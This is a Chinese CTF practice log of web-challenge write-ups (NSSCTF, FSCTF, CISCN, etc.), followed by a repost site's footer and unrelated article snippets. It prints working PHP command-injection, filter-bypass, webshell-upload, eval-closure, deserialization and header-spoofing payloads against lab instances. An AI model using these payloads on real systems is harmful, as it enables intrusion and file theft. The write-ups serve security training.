【刷题日志3.4--3.10】

绕过flag关键字+od读取(脚本)+空格过滤

[广东强网杯 2021 团队组]love_Pokemon

 <?php
error_reporting(0);
highlight_file(__FILE__);
$dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/';

if(!file_exists($dir)){
    mkdir($dir);
}

function DefenderBonus($Pokemon){
    if(preg_match("/'| |_|\\$|;|l|s|flag|a|t|m|r|e|j|k|n|w|i|\\\\|p|h|u|v|\\+|\\^|\`|\~|\||\"|\<|\>|\=|{|}|\!|\&|\*|\?|\(|\)/i",$Pokemon)){
        die('catch broken Pokemon! mew-_-two');
    }
    else{
        return $Pokemon;
    }

}

function ghostpokemon($Pokemon){
    if(is_array($Pokemon)){
        foreach ($Pokemon as $key => $pks) {
            $Pokemon[$key] = DefenderBonus($pks);
        }
    }
    else{
        $Pokemon = DefenderBonus($Pokemon);
    }
}

switch($_POST['myfavorite'] ?? ""){
    case 'picacu!':
        echo md5('picacu!').md5($_SERVER['REMOTE_ADDR']);
        break;
    case 'bulbasaur!':
        echo md5('miaowa!').md5($_SERVER['REMOTE_ADDR']);
        $level = $_POST["levelup"] ?? "";
    if ((!preg_match('/lv100/i',$level)) && (preg_match('/lv100/i',escapeshellarg($level)))){
            echo file_get_contents('./hint.php');
        }
        break;
    case 'squirtle':
        echo md5('jienijieni!').md5($_SERVER['REMOTE_ADDR']);
        break;
    case 'mewtwo':
        $dream = $_POST["dream"] ?? "";
        if(strlen($dream)>=20){
            die("So Big Pokenmon!");
        }
        ghostpokemon($dream);
        echo shell_exec($dream);
}

?> 

简单找一些存在提示的地方

在这里插入图片描述

这里有个hint.php
想要看到这个文件,就得满足情况,bulbasaur!

下面还有个正则匹配
那么这个就是说输入的字符串不包含lv100,但是经过escapeshellarg()处理之后含有lv100

escapeshellarg()函数的作用就是可以把字符串转码为可以在shell命令的使用的参数。
(escapeshellarg和escapeshellcmd相似,主要看是否有引号)

escapeshellarg()函数存在漏洞,在处理超过ascii码范围的时候(在字符串中),就会直接过滤该字符串

用url编码进行编写不可见字符
如%82

在这里插入图片描述

成功执行存在回显

在这里插入图片描述

这个就是
echo md5(‘miaowa!’).md5($_SERVER[‘REMOTE_ADDR’]); 的结果

2f4850466af6a0a50752be95d64c9976b267d649606ebe7cbc7205c3eb166eb0

有点像是十六进制,但是不是
在这里插入图片描述

得到hint.php
在这里插入图片描述

得到提示,flag位置在/flag

要读取flag的话,就得要用到相应的函数(文件读取,命令执行)
在这里插入图片描述

这里有个类似shell_exec的命令执行函数

这里有个限制,就是post的内容不可以超过20个字节,同样这里存在过滤ghostpokemon()函数的过滤

function DefenderBonus($Pokemon){
    if(preg_match("/'| |_|\\$|;|l|s|flag|a|t|m|r|e|j|k|n|w|i|\\\\|p|h|u|v|\\+|\\^|\`|\~|\||\"|\<|\>|\=|{|}|\!|\&|\*|\?|\(|\)/i",$Pokemon)){
        die('catch broken Pokemon! mew-_-two');
    }
    else{
        return $Pokemon;
    }

}

function ghostpokemon($Pokemon){
    if(is_array($Pokemon)){
        foreach ($Pokemon as $key => $pks) {
            $Pokemon[$key] = DefenderBonus($pks);
        }
    }
    else{
        $Pokemon = DefenderBonus($Pokemon);
    }
}

这里要绕过flag关键字、空格

绕过空格的方法:
$IFS
{$IFS}
$IFS9
%20

绕过读取命令
od

这里用到了[]通配的形式,由于黑名单中有A何L这两个字符,因此构造F[B-Z][@-Z]G,这样就能匹配上ASCII表中的@到Z之间的所有字符

在这里插入图片描述

payload

myfavorite=mewtwo&dream=od%09/F[G-Z][@-Z]G

在这里插入图片描述

ump = "0000000 051516 041523 043124 034173 061062 063061 060544 026546 0000020 032464 034146 032055 033541 026462 062141 034461 034455 0000040 031060 034541 060470 032065 061067 076541 000012 0000055"
 
octs = [("0o" + n) for n in  ump.split(" ") if n]
 
hexs = [int(n, 8) for n in octs]
 
result = ""
 
for n in hexs:
 
    if (len(hex(n)) > 4):
 
        swapped = hex(((n << 8) | (n >> 8)) & 0xFFFF)
 
        result += swapped[2:].zfill(4)
 
print(bytes.fromhex(result).decode())

在这里插入图片描述
对上代码进行解析

octs = [("0o" + n) for n in  ump.split(" ") if n]

这行代码的作用是将字符串 ump 按空格分割,并对每个非空的部分添加前缀 "0o",然后将其存储在列表 octs 中。

具体而言,它执行以下操作:

使用 split(" ") 方法将字符串 ump 按空格分割成一个列表。
使用列表解析循环遍历该列表,对于其中的每个非空部分(if n),将其前缀为 "0o"。
最后得到的列表 octs 包含了所有非空部分前缀为 "0o" 的八进制字符串。
例如,如果 ump 是 "0000000 051516 041523 043124",那么执行该行代码后,octs 将会是 ['0o0000000', '0o051516', '0o041523', '0o043124']。

成功得到flag。

php文件类型的转换

[FSCTF 2023]是兄弟,就来传你の🐎!

在这里插入图片描述

打开题目
在这里插入图片描述

随便上传一个照片,发现提示文件太长
在这里插入图片描述

抓包一点点进行删除

在这里插入图片描述

这样就可以成功上传了,这里猜测就是验证文件头的,来判断是不是图片格式

尝试上传php,发现存在过滤,随便上传一个后缀,可以成功上传,那就是黑名单验证。

在这里插入图片描述

过滤了php文件的其他后缀格式,如php3、phtml
在这里插入图片描述
但是,经过测试后,发现pht,没有被过滤
在这里插入图片描述

改为GIF89a好操作

在这里插入图片描述

但是
这个长度被限制得什么都操作不了
在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

数据包

POST / HTTP/1.1
Host: node4.anna.nssctf.cn:28522
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=---------------------------21558080372928294470432061913
Content-Length: 346
Origin: http://node4.anna.nssctf.cn:28522
Connection: close
Referer: http://node4.anna.nssctf.cn:28522/
Upgrade-Insecure-Requests: 1

-----------------------------21558080372928294470432061913
Content-Disposition: form-data; name="file"; filename="1.pht"
Content-Type: image/png

BM<?=`cat /*`;

-----------------------------21558080372928294470432061913
Content-Disposition: form-data; name="submit"

Submit
-----------------------------21558080372928294470432061913--

在这里插入图片描述

日志文件分析

[陇剑杯 2021]日志分析(问2)
题目提示
在这里插入图片描述

下载一个附件,打开后

在这里插入图片描述

在这里插入图片描述

上面这个解码后,感觉有点看不懂,但是知道/tmp/sess_car

所以tmp目录下的文件是sess_car

日志分析

[陇剑杯 2021]日志分析(问1)
在这里插入图片描述

存在源码泄露的话,一般正常访问都是200

在这里插入图片描述
可以看到源码为:
www.zip

日志分析

[陇剑杯 2021]日志分析(问3)

在这里插入图片描述

对日志文件进行搜索200查看,发现
在这里插入图片描述

在这里插入图片描述

看到了
SplFileObject协议

日志分析

没有200,但是往下看的时候,发现有几个很特殊的地方,感觉像是base64

在这里插入图片描述

在这里插入图片描述

即是flag

无参函数rce

[GXYCTF 2019]禁止套娃

查看源代码和http头都没有什么提示信息。
那就是可能存在源码泄露

尝试.git
在这里插入图片描述

上工具

在这里插入图片描述

打开flag.php文件
在这里插入图片描述
打开index.php
在这里插入图片描述

<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
    if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {  //过滤了伪协议
        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {   //使用无参函数,递归
            if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
                // echo $_GET['exp'];
                @eval($_GET['exp']);
            }
            else{
                die("还差一点哦!");
            }
        }
        else{
            die("再好好想想!");
        }
    }
    else{
        die("还想读flag,臭弟弟!");
    }
}
// highlight_file(__FILE__);
?>

查看当前目录下的文件有哪些
在这里插入图片描述

翻转字符串
在这里插入图片描述

指向第二个数组
在这里插入图片描述
读取flag.php
在这里插入图片描述

参考文章:
https://blog.csdn.net/qq_74240553/article/details/136143363

反序列化的基础知识

[FSCTF 2023]ez_php1

 <?php
highlight_file(__FILE__);
error_reporting(0);
include "globals.php";
$a = $_GET['b'];
$b = $_GET['a'];
if($a!=$b&&md5($a)==md5($b))
{
    echo "!!!";
    $c = $_POST['FL_AG'];
    if(isset($c))
    {
        if (preg_match('/^.*(flag).*$/', $ja)) {
            echo 'You are bad guy!!!';
        }
            else {
                echo "Congratulation!!";
                echo $hint1;
            }
    }
    else {
        echo "Please input my love FL_AG";
    }
} else{
    die("game over!");
}
?>
game over!

简单的代码审计一下
在这里插入图片描述

存在一个hint,查看一下
在这里插入图片描述
访问L0vey0U.php
在这里插入图片描述

序列化一下
在这里插入图片描述

得到第二个提示
在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

只输出了2
在这里插入图片描述

那就用a的值来赋值b的,刚好b能够输出

payload

O:5:"Clazz":2:{s:1:"a";N;s:1:"b";R:2;}

在这里插入图片描述
得到flag
在这里插入图片描述

闭合+js代替php的作用

[FSCTF 2023]EZ_eval

在这里插入图片描述

 <?php
    if(isset($_GET['word'])){
    $word = $_GET['word'];
    if (preg_match("/cat|tac|tail|more|head|nl|flag|less| /", $word)){
       die("nonono.");
    }
    $word = str_replace("?", "", $word);
    eval("?>". $word);
}else{
    highlight_file(__FILE__);
}


这里存在一个正则匹配过滤,过滤了命令查看过滤和空格,同时还过滤了问号,在eval中执行前存在?>闭合语句,所以后面的命令就执行的不成功了。

现在的关键突破点就是如何绕过前面的闭合,达到执行命令的效果。

在这里插入图片描述
因为?>闭合在前面,和分号有一定的相识,所以后面无论做什么都还是会被闭合,eval函数的作用就是把字符串当作php代码执行,那我以<?php重新开一个呢?(不考虑过滤先,就是这样的思想),就可以想到借助js来调用php语句

<script language='php'>phpinfo();</script>

空格绕过

<script%09language='php'>phpinfo();</script>

在这里插入图片描述

成功执行了rce后,后面就是正常的rce了
查看根目录
在这里插入图片描述

使用uniq进行查看flag
在这里插入图片描述

或者使用cat绝对路径配合通配符进行查看flag
在这里插入图片描述

sql伪装下的命令执行

[HZNUCTF 2023 preliminary]guessguessguess

在这里插入图片描述

随便进行输入,有回显数据
在这里插入图片描述

直接进行闭合注入的时候,会被重置链接
在这里插入图片描述

测试数据的时候,我们的sql语句会被翻转,所以要构造一下,才可进行

在这里插入图片描述

但是执行了,好像又没执行成功,因为好像没有任何回显

如果不存在注入点的话,那就尝试爆破字段
在这里插入图片描述

这是什么考点?
太容易往sql中限制了。。

框里有个hint,那我们尝试输入一下id=hint是否会有提示呢?
答案是有的
在这里插入图片描述

命令执行?xss?还是sql?
这里给了三个方向,我们可以一一进行尝试,看到底是哪个漏洞

尝试命令执行,大概率也是(看参数名为cmd)
在这里插入图片描述

在这里插入图片描述

分号不行
在这里插入图片描述
管道符 |

这里还必须要有个ip地址的格式才可以,正常运行后面的指令
在这里插入图片描述
flag不在根目录下

查看了源码
在这里插入图片描述

发现可以执行phpinfo

在这里插入图片描述

信息收集

[FSCTF 2023]寻找蛛丝马迹
在这里插入图片描述
每次点击都会改变颜色
在这里插入图片描述
没什么信息,查看一下源代码
在这里插入图片描述

网站爬虫协议
在这里插入图片描述
和苹果有关系?
备份文件?
.DS_store

在这里插入图片描述

源码泄露
在这里插入图片描述

在这里插入图片描述

js文件信息泄露
在这里插入图片描述

在这里插入图片描述
源代码这里已经全部显现出来了,那就只有文件了
styles.css
在这里插入图片描述

找齐了flag的每一段,但是就是不成功,所以,又被困住了这里(漏了一个苹果(笑哭))

最终的flag
FSCTF{Tell_y0U_noT_To_poInT_oUt_tH@t_y000u_Don’t_believe_it!}

data伪协议&md5&sha1的绕过

[SWPUCTF 2023 秋季新生赛]一键连接!
在这里插入图片描述

 <?php
highlight_file(__FILE__);
error_reporting(0);
$md5_1 = $_GET['md5_1'];
$md5_2 = $_GET['md5_2'];
$sha1_1 = $_GET['sha1_1'];
$sha1_2 = $_GET['sha1_2'];
$new_player =$_GET['new_player'];
if ($md5_1 !== $md5_2 && md5($md5_1) === md5($md5_2)) {
    if ($sha1_1 != $sha1_2 && sha1($sha1_1) === sha1($sha1_2)) {
        if (file_get_contents($new_player) === "Welcome to NSSCTF!!!") {
            echo "Congratulations~~~~~~~~~";
            echo "试试need Antsword<br/>";
            @eval($_POST['Nss']);
        }else{
            echo "可曾听过data协议?";
        }
    } else {
        echo "sha1又如何相等呢";
    }
} else {
    echo "如何让md5值相等呢¿";
}
如何让md5值相等呢¿

按部就班
在这里插入图片描述
在这里插入图片描述

date函数绕过&强相等md5非数组绕过

[CISCN 2023 华北]ez_date

在这里插入图片描述

 <?php
error_reporting(0);
highlight_file(__FILE__);
class date{
    public $a;
    public $b;
    public $file;
    public function __wakeup()
    {
        if(is_array($this->a)||is_array($this->b)){
            die('no array');
        }
        if( ($this->a !== $this->b) && (md5($this->a) === md5($this->b)) && (sha1($this->a)=== sha1($this->b)) ){
            $content=date($this->file);
            $uuid=uniqid().'.txt';
            file_put_contents($uuid,$content);
            $data=preg_replace('/((\s)*(\n)+(\s)*)/i','',file_get_contents($uuid));
            echo file_get_contents($data);
        }
        else{
            die();
        }
    }
}

unserialize(base64_decode($_GET['code'])); 

利用不同的数据类型进行绕过md5的强等判断(字符类型和数据类型)
在这里插入图片描述

date函数,会干扰我们的读取文件的正常进行,如何绕过呢?
在这里插入图片描述

date函数会对特定的字母转化为特定的时间表达格式,那就如何让字母就是字母呢?
\n转义一下
在这里插入图片描述

在这里插入图片描述

payload

<?php

class date{
    public $a=1;
    public $b='1';
    public $file;
    public function __wakeup()
    {
        if(is_array($this->a)||is_array($this->b)){
            die('no array');
        }

        else{
            die();
        }
    }
}
$a=new date();
echo "\$a=".$a->a;
echo '$b='.$a->b;
echo "\n";
echo date('\/f\l\a\g');
echo "\n";
echo base64_encode(serialize($a));

?没结果
在这里插入图片描述

在这里插入图片描述

忘记传参file了
在这里插入图片描述

<?php

class date{
    public $a=1;
    public $b='1';
    public $file='\/f\l\a\g';
    public function __wakeup()
    {
        if(is_array($this->a)||is_array($this->b)){
            die('no array');
        }

        else{
            die();
        }
    }
}
$a=new date();
echo "\$a=".$a->a;
echo '$b='.$a->b;
echo "\n";
echo date('\/f\l\a\g');
echo "\n";
echo base64_encode(serialize($a));

http://node5.anna.nssctf.cn:28562/?code=Tzo0OiJkYXRlIjozOntzOjE6ImEiO2k6MTtzOjE6ImIiO3M6MToiMSI7czo0OiJmaWxlIjtzOjk6IlwvZlxsXGFcZyI7fQ==

php变量下划线、点的自动转换

[SWPUCTF 2023 秋季新生赛]Pingpingping
在这里插入图片描述
存在一个题目描述,”程序未响应“

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

Litctf2023比赛

[LitCTF 2023]彩蛋
在这里插入图片描述

参考文章:
https://blog.csdn.net/Leaf_initial/article/details/130671885?spm=1001.2014.3001.5501

referer也能伪造ip来源

[FSCTF 2023]巴巴托斯!

打开界面
在这里插入图片描述
有两个要注意的地方
一个html的网页提示,一个是url参数的file(可能存在任意文件包含,任意文件读取)

直接读取会被限制
在这里插入图片描述

绕过:
伪造浏览器
在这里插入图片描述
伪造ip
在这里插入图片描述
判断是否为本机ip地址
伪造ip的http头部几乎都用上了,但是都没有效果

X-Forwarded-For:127.0.0.1
X-Forwarded:127.0.0.1
Forwarded-For:127.0.0.1
Forwarded:127.0.0.1
X-Forwarded-Host:127.0.0.1 
X-remote-IP:127.0.0.1 
X-remote-addr:127.0.0.1 
True-Client-IP:127.0.0.1 
X-Client-IP:127.0.0.1 
Client-IP:127.0.0.1 
X-Real-IP:127.0.0.1 
Ali-CDN-Real-IP:127.0.0.1 
Cdn-Src-Ip:127.0.0.1 
Cdn-Real-Ip:127.0.0.1 
CF-Connecting-IP:127.0.0.1 
X-Cluster-Client-IP:127.0.0.1 
WL-Proxy-Client-IP:127.0.0.1 
Proxy-Client-IP:127.0.0.1 
Fastly-Client-Ip:127.0.0.1
True-Client-Ip:127.0.0.1
Content-Length: 6
X-Forwarded-For:127.0.0.1
X-Forwarded:127.0.0.1
Forwarded-For:127.0.0.1
Forwarded:127.0.0.1
X-Forwarded-Host:127.0.0.1 
X-remote-IP:127.0.0.1 
X-remote-addr:127.0.0.1 
True-Client-IP:127.0.0.1 
X-Client-IP:127.0.0.1 
Client-IP:127.0.0.1 
X-Real-IP:127.0.0.1 
Ali-CDN-Real-IP:127.0.0.1 
Cdn-Src-Ip:127.0.0.1 
Cdn-Real-Ip:127.0.0.1 
CF-Connecting-IP:127.0.0.1 
X-Cluster-Client-IP:127.0.0.1 
WL-Proxy-Client-IP:127.0.0.1 
Proxy-Client-IP:127.0.0.1 
Fastly-Client-Ip:127.0.0.1
True-Client-Ip:127.0.0.1

以上方法都行不通的话,那就是途径不对,除了判断是否为 local man的方法还有什么方法呢?

尝试一下
是否是referer的参数值(Referer来自)
在这里插入图片描述

还真的是

猜测flag的位置
在这里插入图片描述
不在根目录下,看一下当前的源码

<?php

$in_name = $_GET['file'];

if (isset($in_name)) {
    if ($in_name === 'show_image.php') {
    	// 直接包含文件
    	include($in_name);
    }
    // 检查特定的 User-Agent 和 Referer 头
    $user_agent = $_SERVER['HTTP_USER_AGENT'];

    // 检查来源地址是否为 127.0.0.1
    $ip_address = $_SERVER['REMOTE_ADDR'];

    if ($user_agent === 'FSCTF Browser') {
        if (isset($_SERVER['HTTP_REFERER']) && $_SERVER['HTTP_REFERER'] === '127.0.0.1') {

            // 检查文件是否存在和可读
            if (isset($in_name)) {
  		include($in_name); //没有做任何的过滤
            } else {
                echo "Invalid file!";
            }

        } else {
            echo "Access Denied! Are you local man?";
        }
    } else {
        echo "Access Denied! I love FSCTF Browser";
    }
} else {
    header('Location: index.php?file=show_image.php');
}
?>

在当前的文件夹下有个flag.php文件
在这里插入图片描述
在这里插入图片描述

文件头绕过(直接在png中添加php代码)

[SWPUCTF 2023 秋季新生赛]ez_talk
在这里插入图片描述

打开题目容器
在这里插入图片描述

查看源码没有什么提示

那就尝试上传一个正常的png图片(直接上传php文件,会被防火墙拦截,重置连接)

用bp抓包后,改变文件后缀可以修改为php文件成功,并且会被解析成功

在这里插入图片描述
phpinfo中不存在flag
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/451662.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

Pytorch搭建AlexNet 预测实现

1.导包 import torch import matplotlib.pyplot as plt import json from model import AlexNet from PIL import Image from torchvision import transforms 2.数据预处理 data_transform transforms.Compose([transforms.Resize((224, 224)), # 将图片重新裁剪transform…

【Android】 ClassLoader 知识点提炼

1.Java中的 ClassLoader 1.1 、ClassLoader的类型 Java 中的类加载器主要有两种类型&#xff0c;即系统类加载器和自定义类加载器。其中系统类 加载器包括3种&#xff0c;分别是 Bootstrap ClassLoader、Extensions ClassLoader 和 Application ClassLoader。 1.1.1.Bootstra…

uniapp开发DAPP钱包应用(二) Vue + Java

上一节我们讲了如何通过vue uniapp还有web3以及需要准备的相关组件&#xff0c;来搭建了DAPP开发的环境。 这一节&#xff0c;我们来说说如何用代码来实现DAPP相关接口。 1. ethers实现类 导入组件 import { ethers , providers , utils } from "ethers"; impor…

QML 控件添加键盘事件

在QML中&#xff0c;可以使用Keys类型来处理键盘事件。以下是一个简单的示例&#xff0c;演示如何在QML控件中添加键盘事件&#xff1a; import QtQuick 2.12 import QtQuick.Window 2.12Window {visible: truewidth: 640height: 480title: qsTr("Hello World")Recta…

DFS算法详解及例题

DFS:往深搜索&#xff0c;执着&#xff0c;确认从底下返回后的每个人的节点都已经用完&#xff0c;空间占用少&#xff0c;爆搜。 BFS:每一层搜索&#xff0c;稳重&#xff0c;(当一个图的权重都为1时搜到的一定是最短路) 下面我们以dfs的一道经典例题来讲解 代码: #include…

Ubuntu18.04 安装搜狗输入法

一. 概述 自己的Ubuntu 18.04系统配置中文搜狗输入法&#xff0c;安装步骤&#xff0c;亲测可用 二. 安装步骤 2.1 确认系统版本和CPU架构 查看Ubuntu系统版本号&#xff0c;通过命令 lsb_release -a wuubuntume:~$ lsb_release -a No LSB modules are available. Distr…

基于SpringBoot的“智慧食堂”系统(源码+数据库+文档+PPT)

基于SpringBootVue的智慧食堂系统的设计与实现&#xff08;源码数据库文档PPT) 开发语言&#xff1a;Java数据库&#xff1a;MySQL技术&#xff1a;SpringBootVUE工具&#xff1a;IDEA/Ecilpse、Navicat、Maven 系统展示 系统登录界面图 系统首页界面图 用户注册界面图 菜…

项目总结.

文章目录 1.DDD结构基础2. 抽奖领域3. 发奖领域4.活动领域5. 支撑领域应用层编排 1.DDD结构基础 包含&#xff1a; 接口层、应用层、领域层、基础层&#xff1b;通用包、接口层、接口定义。 接口层&#xff1a;实现RPC接口定义&#xff0c;引入应用层服务&#xff0c;封装具体的…

日期问题 刷题笔记

思路 枚举 19600101 到20591231这个区间的数 获得年月日 判断是否合法 如果合法 关于题目给出的日期 有三种可能 年/月/日 日/月/年 月/日/年 判断 是否和题目给出的日期符合 如果符合 输出 闰年{ 1.被4整除不被100整除 2.被400整除} 补位写法“%02d" 如果不…

【C语言步行梯】自定义函数、函数递归详谈

&#x1f3af;每日努力一点点&#xff0c;技术进步看得见 &#x1f3e0;专栏介绍&#xff1a;【C语言步行梯】专栏用于介绍C语言相关内容&#xff0c;每篇文章将通过图片代码片段网络相关题目的方式编写&#xff0c;欢迎订阅~~ 文章目录 什么是函数库函数自定义函数函数执行示例…

STM32 ADC数模转换器

单片机学习&#xff01; 目录 文章目录 前言 一、ADC简介 1.1 ADC名称 1.2 ADC功能 1.3 分辨率与转换时间 1.4 输入电压与转换范围 1.5 输入通道 1.6 增强功能 1.7 自动监测输入电压范围 1.8 STM32F103C8T6 ADC资源 二、逐次逼近型ADC 2.1 ADC内部结构原理图 2.2 输入通道选择 …

AI 驱动的医疗变革:迈向未来医疗新生态

直面呼啸而来的人工智能&#xff0c;医疗行业将首当其冲&#xff0c;发生翻天覆地的变化。美国心脏病学家兼基因学教授埃里克托普在《未来医疗》中预测&#xff0c;未来人类将拥有“健康小助手”——个人医疗数据和处理能力&#xff0c;还能轻松预防疾病。诸多评论家也持类似观…

Jade 处理XRD并计算半峰宽FWHM、峰面积、峰强度等数据

1.打开软件 2.导入测试的XRD数据 3.平滑数据 4.抠一下基底 5.分析具体数据 6.按住鼠标左键&#xff0c;在峰底部拉一条线&#xff0c;尽量和基底持平 7.结果就出来了&#xff0c;想要的都在里面&#xff0c;直接取值就行

数据分析-Pandas如何观测数据的中心趋势度

数据分析-Pandas如何观测数据的中心趋势度 数据分析和处理中&#xff0c;难免会遇到各种数据&#xff0c;那么数据呈现怎样的规律呢&#xff1f;不管金融数据&#xff0c;风控数据&#xff0c;营销数据等等&#xff0c;莫不如此。如何通过图示展示数据的规律&#xff1f; 数据…

Stable Diffusion 模型:从噪声中生成逼真图像

你好&#xff0c;我是郭震 简介 Stable Diffusion 模型是一种生成式模型&#xff0c;可以从噪声中生成逼真的图像。它由 Google AI 研究人员于 2022 年提出&#xff0c;并迅速成为图像生成领域的热门模型。 数学基础 Stable Diffusion模型基于一种称为扩散概率模型(Diffusion P…

16 OpenCV Laplance算子

文章目录 图像的二阶导数Laplance算子代码示例 图像的二阶导数 在二阶导数的时候&#xff0c;最大变化处的值为零即边缘是零值。通过二阶 导数计算&#xff0c;依据此理论我们可以计算图像二阶导数&#xff0c;提取边缘。 Laplance算子 void Laplacian( InputArray src, Output…

Java代码审计安全篇-SSRF(服务端请求伪造)漏洞

前言&#xff1a; 堕落了三个月&#xff0c;现在因为被找实习而困扰&#xff0c;着实自己能力不足&#xff0c;从今天开始 每天沉淀一点点 &#xff0c;准备秋招 加油 注意&#xff1a; 本文章参考qax的网络安全java代码审计&#xff0c;记录自己的学习过程&#xff0c;还希望各…

【C++进阶】C++多态概念详解

C多态概念详解 一&#xff0c;多态概念二&#xff0c;多态的定义2.1 多态构成的条件2.2 什么是虚函数2.3 虚函数的重写2.3.1 虚函数重写的特例2.3.2 override和final 2.4 重载和重写&#xff08;覆盖&#xff09;和重定义&#xff08;隐藏&#xff09;的区别 三&#xff0c;抽象…

性能指标:QPS、TPS、系统吞吐量理解

一、QPS&#xff0c;每秒查询 QPS&#xff1a;Queries Per Second意思是“每秒查询率”&#xff0c;是一台服务器每秒能够相应的查询次数&#xff0c;是对一个特定的查询服务器在规定时间内所处理流量多少的衡量标准。 互联网中&#xff0c;作为域名系统服务器的机器的性能经…

[leetcode~dfs]1261. 在受污染的二叉树中查找元素

给出一个满足下述规则的二叉树&#xff1a; root.val 0 如果 treeNode.val x 且 treeNode.left ! null&#xff0c;那么 treeNode.left.val 2 * x 1 如果 treeNode.val x 且 treeNode.right ! null&#xff0c;那么 treeNode.right.val 2 * x 2 现在这个二叉树受到「污…